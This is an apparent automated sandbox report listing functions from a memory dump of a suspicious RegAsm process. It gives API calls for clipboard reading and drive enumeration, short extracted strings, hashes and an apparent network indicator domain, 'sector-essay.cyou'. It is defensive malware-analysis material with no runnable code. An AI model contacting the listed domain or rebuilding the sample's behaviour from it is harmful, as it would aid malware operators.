Instruction Fuzzy Hash: 44F136B560C3518FD714DF24E89126BBBE1AF86304F08887DE5C587352EB39D90ACB96

Function 00433A50 Relevance: 9.1, APIs: 6, Instructions: 147clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00433A72
GetWindowLongW.USER32 ref: 00433A9D
GetClipboardData.USER32 ref: 00433AAD
GlobalLock.KERNEL32 ref: 00433AC7
GlobalUnlock.KERNEL32 ref: 00433C00
CloseClipboard.USER32 ref: 00433C08

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID:
API String ID: 2832541153-0
Opcode ID: db5356a85bfc6720e611b1c4f7cda29c597fe52265ba8501f91eb5461658473a
Instruction ID: 48eca17094e2952ee5b1522901b7380c2bd319ec7efd6ff3a64039dacec39483
Opcode Fuzzy Hash: db5356a85bfc6720e611b1c4f7cda29c597fe52265ba8501f91eb5461658473a
Instruction Fuzzy Hash: 1E51E5B1908B828BD714AF7C984926EFFA0AB56321F04873ED4E5873C2D3389555C797

Function 0040AD20 Relevance: 9.1, Strings: 7, Instructions: 359COMMON

Download Yara Rule

Strings

SQ, xrefs: 0040ADCD
M_, xrefs: 0040AE65
_], xrefs: 0040ADC5
/X, xrefs: 0040AE5D
HY, xrefs: 0040AE6D
nqN, xrefs: 0040B100
W%U, xrefs: 0040ADD5

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: /X$HY$M_$nqN$SQ$W%U$_]
API String ID: 0-922328653
Opcode ID: adaf769dc07baa925b36d48b2974999ebd7d222f5462be74a140492f6f4a0a71
Instruction ID: 9d35cec4eb88c975eaced11c3f356054b61f51290990f0a469af967a64148600
Opcode Fuzzy Hash: adaf769dc07baa925b36d48b2974999ebd7d222f5462be74a140492f6f4a0a71
Instruction Fuzzy Hash: F6C1057564C3848BD3248F2584A136BFBE2EBD1314F28C97EE8D51B381D7798805CB8A

Function 0042E0CB Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 309COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042E3B1

Strings

{BGy, xrefs: 0042E2F1
Gz~A, xrefs: 0042E2DD
OOuH, xrefs: 0042E2FB

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLibrary
String ID: Gz~A$OOuH${BGy
API String ID: 3664257935-673351052
Opcode ID: 2a2c75dbf13ae53032da221de794be44316f2d1803b24fa489eba0d92d53847f
Instruction ID: b4afd5d696ae46a79715fd04e902fb47bd62efa5cd512110a86a1c3d2419befd
Opcode Fuzzy Hash: 2a2c75dbf13ae53032da221de794be44316f2d1803b24fa489eba0d92d53847f
Instruction Fuzzy Hash: A09148717047418BE3258B3588817A3BBD2EFA2314F188A2ED4EB4B7C2D779B815C759

Function 00430082 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 222memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00430163

Strings

0, xrefs: 00430489
rr3w, xrefs: 004300D8
rr3w, xrefs: 004300D0

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: 0$rr3w$rr3w
API String ID: 2525500382-585071120
Opcode ID: e0d49dbfc58d60801ceb0d0a0c33fd01609994a53ada82c5faa9c820f58f335f
Instruction ID: 6016c376eef58914c36b6832e60878505128e2830f523d5165e2a9528a75c50c
Opcode Fuzzy Hash: e0d49dbfc58d60801ceb0d0a0c33fd01609994a53ada82c5faa9c820f58f335f
Instruction Fuzzy Hash: 94C12B71108FC18AD332CA3888887D3BFD16B66324F084A6DD1FA8B6D2D2B96145C766

Function 0041990C Relevance: 6.7, Strings: 5, Instructions: 491COMMON

Download Yara Rule

Strings

R/A), xrefs: 00419B11
v, xrefs: 0041995A
HK, xrefs: 00419B74
"onm, xrefs: 00419C7F
X?s9, xrefs: 00419AE5

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "onm$HK$R/A)$X?s9$v
API String ID: 0-4191733568
Opcode ID: 7257a3a036ce90b6866de9d76ed6032abfb4af58a26d17f0dd13f744aa4c2c9b
Instruction ID: bb70e7f2f821a34659c7e6a6e036051f756378a1106bb9181ebdcbed6fe89c1f
Opcode Fuzzy Hash: 7257a3a036ce90b6866de9d76ed6032abfb4af58a26d17f0dd13f744aa4c2c9b
Instruction Fuzzy Hash: D412BCB56093818BC738CF24C8A57EBBBE1FF96304F08896DD4C98B295E7784545CB86

Function 00426F9E Relevance: 6.7, Strings: 5, Instructions: 415COMMON

Download Yara Rule

Strings

zj, xrefs: 0042705E
;:=<, xrefs: 0042724C
{`, xrefs: 00427050
bq, xrefs: 00427057
Ny, xrefs: 00427065

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ;:=<$Ny$bq$zj${`
API String ID: 0-427255626
Opcode ID: 4b8c90023f8c7e2326e5dee30178ce67bafacd6039eb097d48a4d42b6b4c4679
Instruction ID: 9600335381a4ad5a763fe039fa12eb1047036e882436e7c8ea96b07542593d7b
Opcode Fuzzy Hash: 4b8c90023f8c7e2326e5dee30178ce67bafacd6039eb097d48a4d42b6b4c4679
Instruction Fuzzy Hash: D1E137B5A04206CFDB14CF69DC81A6EBBB2FF55304F5880A9E541AB362D734E942CF94

Function 004098C0 Relevance: 6.7, Strings: 5, Instructions: 410COMMON

Download Yara Rule

Strings

5697ED7B3A758717FEE815EB403F5D54, xrefs: 004099AD
-y{, xrefs: 00409C30
XY, xrefs: 00409C70
t|z, xrefs: 004099D5
X, xrefs: 00409AC2

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: -y{$5697ED7B3A758717FEE815EB403F5D54$X$XY$t|z
API String ID: 0-3916512585
Opcode ID: 71929b7cb78fade234d0af0284fb1bbfe974b8de8f9b96e23177f78a23c85248
Instruction ID: 6d1683724e37c284d1767b87699e3bd02a350b4874d110cad8f44bb5add2a7dd
Opcode Fuzzy Hash: 71929b7cb78fade234d0af0284fb1bbfe974b8de8f9b96e23177f78a23c85248
Instruction Fuzzy Hash: 50C124716083808BE318DF35C85576BBBE5EBD1314F188A2DE5D69B392CB38C905CB86

Function 004290B1 Relevance: 6.6, Strings: 5, Instructions: 383COMMON

Download Yara Rule

Strings

}PSU, xrefs: 004296A0
}PSU}PSU}PSU}PSU, xrefs: 00429082, 0042908C
P@EZ, xrefs: 0042968B
FX_M, xrefs: 00429699
aHXN, xrefs: 00429676

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: FX_M$P@EZ$aHXN$}PSU$}PSU}PSU}PSU}PSU
API String ID: 0-3769906081
Opcode ID: f45f3dab8cab5d2951a74eecad4c86154023a0410c5b8fb2b397da8f807a4f8b
Instruction ID: cdf010998d352b622df295b76928b5259ab787b9826e66f06dd73327f37ace46
Opcode Fuzzy Hash: f45f3dab8cab5d2951a74eecad4c86154023a0410c5b8fb2b397da8f807a4f8b
Instruction Fuzzy Hash: 8BE12775E04251CFDB04CF68D8907ADBBB2AF4A314F2982A9D8146B3E2C7759D02CB94

Function 00426C90 Relevance: 6.5, Strings: 5, Instructions: 213COMMON

Download Yara Rule

Strings

D}, xrefs: 00426D5E
sB, xrefs: 00426D4E
S~, xrefs: 00426D46
Sp, xrefs: 00426D56
X_, xrefs: 00426EAD

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: D}$Sp$S~$X_$sB
API String ID: 0-2074769466
Opcode ID: b3d578ceabb7e91782cd02d317d1b7f3f2e96c6f2b729bc3cad980b6991a411d
Instruction ID: 764fa7655f74a2f121e6bca1a8d7645511b336d90907924af72623d28470fcdf
Opcode Fuzzy Hash: b3d578ceabb7e91782cd02d317d1b7f3f2e96c6f2b729bc3cad980b6991a411d
Instruction Fuzzy Hash: 3F5101B02083908BD7109F25E89266BBBF0FF92364F054A1DF5D58B391E7788905CB9B

Function 0042AB83 Relevance: 5.4, Strings: 4, Instructions: 386COMMON

Download Yara Rule

Strings

;:=<, xrefs: 0042AF38
D/JT, xrefs: 0042AB23
6/JT, xrefs: 0042AAF6
FTGN, xrefs: 0042AAD9

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 6/JT$;:=<$D/JT$FTGN
API String ID: 0-2223222905
Opcode ID: b30fec8d57be68d97ecf87f983db9025c2b0b2ba739a92f5e0b606a5f2878763
Instruction ID: 8a88c06ab80c316f3aeb94003148513e405f01649903baca4afcd5b0dd57d601
Opcode Fuzzy Hash: b30fec8d57be68d97ecf87f983db9025c2b0b2ba739a92f5e0b606a5f2878763
Instruction Fuzzy Hash: E6D1AB75E00160CFCB14CF68D8517AEBBB2BF0A300F1A41ADE9516B392D7395D15CB9A

Function 004091B0 Relevance: 5.3, Strings: 4, Instructions: 261COMMON

Download Yara Rule

Strings

O[M@, xrefs: 00409272
UKKX, xrefs: 0040926A
j, xrefs: 004091D8
T(F&, xrefs: 0040928A

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: O[M@$T(F&$UKKX$j
API String ID: 0-1885386310
Opcode ID: 97e84a6f11231ccd1c36d43f8651d917bf6311de1855abfe1527903d33f6c9e4
Instruction ID: 6cf50836299448d37242e0f92cc58f33f00555e081f2aa65baf5a2ec525ff5bb
Opcode Fuzzy Hash: 97e84a6f11231ccd1c36d43f8651d917bf6311de1855abfe1527903d33f6c9e4
Instruction Fuzzy Hash: 1061B06014D3C18AD3118F2980E076BFFE0EFA7314F1845AEE8D55B382C779891ADB66

Function 00418E83 Relevance: 5.3, Strings: 4, Instructions: 256COMMON

Download Yara Rule

Strings

VlVk, xrefs: 0041923E
]]EX, xrefs: 00419249
At, xrefs: 00419254
^d^c, xrefs: 00419228

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: At$VlVk$]]EX$^d^c
API String ID: 0-2893682494
Opcode ID: 937370a5f1a352b7117d604bb765efe6b8bee1564d4b1c3b5f93a126cadb7364
Instruction ID: e408b536d8ea96a86f5c1d16ea42e08b2438d6e83c22bfc62619355d171567df
Opcode Fuzzy Hash: 937370a5f1a352b7117d604bb765efe6b8bee1564d4b1c3b5f93a126cadb7364
Instruction Fuzzy Hash: 698116B5508380CBE331AB24D8527EB77E1EF96308F04093DE5D887292E7794955CB5B

Function 0042A235 Relevance: 4.1, Strings: 3, Instructions: 323COMMON

Download Yara Rule

Strings

D@, xrefs: 0042A2D2
Md, xrefs: 0042A2C4
I^, xrefs: 0042A2CB

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: D@$I^$Md
API String ID: 0-4131734681
Opcode ID: 4de84d16cd981aaefb993032dad4d1a30dacd358b2f0ceeccfcd92a9c5c60521
Instruction ID: f0b977693b76beac5d1a3dbdc409a79a56d24bbcd65843350be76cf5f517929c
Opcode Fuzzy Hash: 4de84d16cd981aaefb993032dad4d1a30dacd358b2f0ceeccfcd92a9c5c60521
Instruction Fuzzy Hash: 29A13875E002258BCF24CFA8C8917AB77B1FF45314F19816ED896AF395EB384941CB45

Function 00428D61 Relevance: 4.0, Strings: 3, Instructions: 227COMMON

Download Yara Rule

Strings

(+, xrefs: 00428E40
fM., xrefs: 00428E4C
KE, xrefs: 00428E03

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: (+$fM.$KE
API String ID: 0-2816184506
Opcode ID: 4dc242b38a8d5bc5b7508cac9f95328175687f110da05bd0eedfc5c179a4f52f
Instruction ID: 8f53063ee58306ac1f2b9de81cb91a000338831b88c2d8f9006311080da09921
Opcode Fuzzy Hash: 4dc242b38a8d5bc5b7508cac9f95328175687f110da05bd0eedfc5c179a4f52f
Instruction Fuzzy Hash: A57105B6E04214DFDB04CF64DC817AEBB72FF89310F1A4169E9046B395DB759812CB84

Function 0042C9E3 Relevance: 3.9, Strings: 3, Instructions: 193COMMON

Download Yara Rule

Strings

";, xrefs: 0042CD1E
,"O, xrefs: 0042CC31
kfgk, xrefs: 0042CC3B

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ,"O$";$kfgk
API String ID: 0-2346484820
Opcode ID: aa9dedc1418fa798ad7630c511284e1a8f14e1ad3b7c790f528e686ce717650e
Instruction ID: 7540dbb34f0aab74f8b3e3bae81456e2250203a5ca1ab448a2fd284ffa4cb292
Opcode Fuzzy Hash: aa9dedc1418fa798ad7630c511284e1a8f14e1ad3b7c790f528e686ce717650e
Instruction Fuzzy Hash: F15109B1205B908AC7268F36C4A03A7BBE2AF97214F9985AED5D74B347CB385406C718

Function 0040C795 Relevance: 3.8, Strings: 3, Instructions: 33COMMON

Download Yara Rule

Strings

sector-essay.cyou, xrefs: 0040C7D2
k "#, xrefs: 0040C7B5
Y3@x, xrefs: 0040C7EC

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: Y3@x$k "#$sector-essay.cyou
API String ID: 0-1819320278
Opcode ID: 1465832e7b58c4371a415bda3dc569beca77767b6d3a97be0d770cbfadde0780
Instruction ID: e4bedc7c66ef88fb73c058dd61637da2bfc25202fb332dbb219011eaf45d0d7a
Opcode Fuzzy Hash: 1465832e7b58c4371a415bda3dc569beca77767b6d3a97be0d770cbfadde0780
Instruction Fuzzy Hash: 2BF0B4742083409FD7889F24DCD173BB7A2DB82304F54992DA182D32D2CBB9D806CF09

Function 00424957 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00424AB6

Strings

I=[;, xrefs: 00424B8E

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: DrivesLogical
String ID: I=[;
API String ID: 999431828-61854675
Opcode ID: 6c59a45d7981fb6276eb4f0010b5d109190027263947946e3bee6ad9e4217679
Instruction ID: fdd2558837e3522963ad8216888f43651256edf83e2524651161abf3b8abf33e
Opcode Fuzzy Hash: 6c59a45d7981fb6276eb4f0010b5d109190027263947946e3bee6ad9e4217679
Instruction Fuzzy Hash: 2A9143B1A00215CFDB14CFA9EC926AEBBB1FF85318F1585A9D451AF362D3389901CF58

Function 0043C3D0 Relevance: 3.2, Strings: 2, Instructions: 650COMMON

Download Yara Rule

Strings

f, xrefs: 0043C645
/.-,, xrefs: 0043C409

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: /.-,$f
API String ID: 2994545307-268397193
Opcode ID: 267390c10bd30d36a8619fe02524233a6dad70afb1cee84af233b9d0527f0f5f
Instruction ID: d2b16895bd0021cb106197b5681fe6ffe89d9511de6163e5f169a64b9c0f981f
Opcode Fuzzy Hash: 267390c10bd30d36a8619fe02524233a6dad70afb1cee84af233b9d0527f0f5f
Instruction Fuzzy Hash: D622E2756083018FC714CF29C8D1A6BBBE2ABC9314F289A2EF4D197391D779D845CB4A

Function 00419ECF Relevance: 2.9, Strings: 2, Instructions: 437COMMON

Download Yara Rule

Strings

^, xrefs: 00419EFC
(, xrefs: 00419FA5

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ($^
API String ID: 0-2972045208
Opcode ID: a12676f9734d6a0a0bda6de865abc1a24d6cd79b0e11a44953e3c6254b2bc331
Instruction ID: 2f598e9537973fb736bad82c5bd561de69ae8d1b02f69733910a915f7e0cb602
Opcode Fuzzy Hash: a12676f9734d6a0a0bda6de865abc1a24d6cd79b0e11a44953e3c6254b2bc331
Instruction Fuzzy Hash: 1AF110741083418FD725CF29C8A57ABBBE1FF86314F18886DD4C98B292D7399846CB57

Function 00403E70 Relevance: 2.9, Strings: 2, Instructions: 402COMMON

Download Yara Rule

Strings

IEND, xrefs: 004042DD
), xrefs: 00403EED

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 863a25de8cdc3a3279ca3097fa1484c5a50e6d75e7e334b4f08c48651f5ec0e5
Instruction ID: ecb30bbfc98707852728fca67ccd6cc89ad65581e2d14f423743e414cef4b987
Opcode Fuzzy Hash: 863a25de8cdc3a3279ca3097fa1484c5a50e6d75e7e334b4f08c48651f5ec0e5
Instruction Fuzzy Hash: 17E1B0B1A087019FD310DF29D84471BBBE4BB94308F14493EF994AB382E779E915CB96

Function 0042ED09 Relevance: 2.8, Strings: 2, Instructions: 312COMMON

Download Yara Rule

Strings

\eQZ, xrefs: 0042EE8D
vT^4, xrefs: 0042F060

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: \eQZ$vT^4
API String ID: 0-3607082246
Opcode ID: 1f3e988b4aa76ab3f687d6e92620ed6dbf5d3dd5c00552b95ddbbb4f4ead08ee
Instruction ID: 3b057a2223dc50d3023ddf38fb8fa413fa556e3f3f3c85b146c5146a78224abf
Opcode Fuzzy Hash: 1f3e988b4aa76ab3f687d6e92620ed6dbf5d3dd5c00552b95ddbbb4f4ead08ee
Instruction Fuzzy Hash: 3AA1B6707047918FE3258B36D4617B3BBE2AF52304F59896ED0EB87381D779A4098B16

Function 0042EDCA Relevance: 2.8, Strings: 2, Instructions: 310COMMON

Download Yara Rule

Strings

\eQZ, xrefs: 0042EE8D
vT^4, xrefs: 0042F060

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: \eQZ$vT^4
API String ID: 0-3607082246
Opcode ID: 17271100e52e72446431b4ba25b522317e322b2cd0d75d0d208a158024b20060
Instruction ID: e5b8c5e402a2ca9d81720aa6e2d634f6837bebe6097875f4b01a460d8e1aebeb
Opcode Fuzzy Hash: 17271100e52e72446431b4ba25b522317e322b2cd0d75d0d208a158024b20060
Instruction Fuzzy Hash: 1BA1C4707047918FE3258B36D4617B3BBE2AF52304F59896ED0EB87381D779A4098B16

Function 0042E03F Relevance: 2.8, Strings: 2, Instructions: 287COMMON

Download Yara Rule

Strings

\eQZ, xrefs: 0042EE8D
vT^4, xrefs: 0042F060

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: \eQZ$vT^4
API String ID: 0-3607082246
Opcode ID: 3ec17b83a0cfc1261a6730cc03ff32b26a3bccff8d2e7f5fcc69799121595fee
Instruction ID: 626986f943cacfe7cdee8c514adc803c7eed872e390f7135a9fdb6cd9b05e1ff
Opcode Fuzzy Hash: 3ec17b83a0cfc1261a6730cc03ff32b26a3bccff8d2e7f5fcc69799121595fee
Instruction Fuzzy Hash: C491B470604B908FE325CF36D4517B3BBE2AF53304F59896ED0EB87681D739A4098B26

Function 0042AA59 Relevance: 2.7, Strings: 2, Instructions: 234COMMON

Download Yara Rule

Strings

\, xrefs: 0042A919
dY, xrefs: 0042A912

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: \$dY
API String ID: 0-3471542007
Opcode ID: 7acb568cdc52ecc74af97a4787a3a3ad331d2af1e24d79d5e469179ee0ab82e4
Instruction ID: 03c21bf36d51f01782684134e1a7ec2c5429c0a6a87f8c6afb469a8b13a2632c
Opcode Fuzzy Hash: 7acb568cdc52ecc74af97a4787a3a3ad331d2af1e24d79d5e469179ee0ab82e4
Instruction Fuzzy Hash: BB7187B2A443018FD718CF24C88179ABFB2FB46314F5A82ADE4525F391C7758486CBC5

Function 0041D330 Relevance: 2.7, Strings: 2, Instructions: 188COMMON

Download Yara Rule

Strings

P, xrefs: 0041D4A0
GU, xrefs: 0041D4AD

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: GU$P
API String ID: 0-4264775118
Opcode ID: f4b5ae4fce804300cc27d76100c5c2827f7801721f25e97db71a1ee733bdee20
Instruction ID: 9765230f43f6f534d29c8484abfaa169658ff9908dd3c8eb9dc5dbdfa9da3dfc
Opcode Fuzzy Hash: f4b5ae4fce804300cc27d76100c5c2827f7801721f25e97db71a1ee733bdee20
Instruction Fuzzy Hash: 275102B44083518BD718CF25C4913ABBBF0EF96364F044A1DE4D58B291E37C8946CB9B

Function 0043FDE0 Relevance: 2.1, Strings: 1, Instructions: 854COMMON

Download Yara Rule

Strings

bD, xrefs: 004408E9

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: bD
API String ID: 0-341964956
Opcode ID: f8624cd08b5e62a9b1cbd92fd9fb648ac32dbaed00b84c83359fa603dc2c8329
Instruction ID: 797598d5b798d05eb88edb43405c4c1f0413fb6f14aefd465af797d458563e3a
Opcode Fuzzy Hash: f8624cd08b5e62a9b1cbd92fd9fb648ac32dbaed00b84c83359fa603dc2c8329
Instruction Fuzzy Hash: 35422339A48351CFD704CF28D8902AAB7F1FB8A324F1A887DD98587351D738D955CB86

Function 00423F26 Relevance: 2.1, Strings: 1, Instructions: 813COMMON

Download Yara Rule

Strings

"BB, xrefs: 00424205

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "BB
API String ID: 0-2652194471
Opcode ID: d02e0a206807257a0ad29544d9084e13304aeda90ad91bad4d34b989897f1b57
Instruction ID: f433d89746e8063d1265eb30f93065ad954c5b9ac59068488884f58db9b4ec75
Opcode Fuzzy Hash: d02e0a206807257a0ad29544d9084e13304aeda90ad91bad4d34b989897f1b57
Instruction Fuzzy Hash: 8C42E276B04116CFDB08CF68EC917AEB7B2FB8A310F1981B8E511A7391D774A851CB94

Function 0041E304 Relevance: 2.0, Strings: 1, Instructions: 764COMMON

Download Yara Rule

Strings

|}, xrefs: 0041E882

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: |}
API String ID: 0-2241360599
Opcode ID: 46c5b9ddc5b99c63ac287f401b6f8556ddc808f31fd7f0323445c414bf22c29c
Instruction ID: f9c2e87604e5b9b62a4ee05c4a3bcffcae0d3c1aa8820bb697bee025421a49ce
Opcode Fuzzy Hash: 46c5b9ddc5b99c63ac287f401b6f8556ddc808f31fd7f0323445c414bf22c29c
Instruction Fuzzy Hash: BB3246B5A00606CFCB14CF65C8922FBBBB1FF56310F18866DD8559B381E338A981CB95

Function 00440210 Relevance: 1.8, Strings: 1, Instructions: 586COMMON

Download Yara Rule

Strings

bD, xrefs: 004408E9

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: bD
API String ID: 0-341964956
Opcode ID: e99359dc99a8bf858c3b7c63ae7db808fb00536d9867249c0ed49bce75a1a9b6
Instruction ID: 911d2f89f39eaf0008d7b756394c97734fafba8bae24048753eae8f52f09a2ab
Opcode Fuzzy Hash: e99359dc99a8bf858c3b7c63ae7db808fb00536d9867249c0ed49bce75a1a9b6
Instruction Fuzzy Hash: 3A022139A48211CFD704CF28D8906AAB7E2FF8A310F0A897DD98587351D738DC55CB96

Function 004402F0 Relevance: 1.8, Strings: 1, Instructions: 543COMMON

Download Yara Rule

Strings

bD, xrefs: 004408E9

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: bD
API String ID: 0-341964956
Opcode ID: 04e2cddd21c82fc03b3f98c5b853d8b90686f0363848fa8e347febc4d9bcb0a9
Instruction ID: d62e37b0ccf4a74103ea6b78b2ff9ea56fd3d2c5454dac3654949ab233673ec3
Opcode Fuzzy Hash: 04e2cddd21c82fc03b3f98c5b853d8b90686f0363848fa8e347febc4d9bcb0a9
Instruction Fuzzy Hash: C1022F39A48311CFDB04CF38D8906AAB7E2EF8A314F0A897DD98587351D738D855CB96

Function 004235F0 Relevance: 1.7, APIs: 1, Instructions: 241comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00443598,00000000,00000001,00443588), ref: 00423619

Memory Dump Source

Source File: 00000005.00000002.2267116955.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_RegAsm.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: f7b2f4b760a81e6f9b6e5f6b2e8cc5017b6c2693f137bd3191b76f93f8daa911
Instruction ID: 7ddeebd1315078c88221df5178ba7910bcfe2ee1bb9768e595efda2fedcb572e
Opcode Fuzzy Hash: f7b2f4b760a81e6f9b6e5f6b2e8cc5017b6c2693f137bd3191b76f93f8daa911
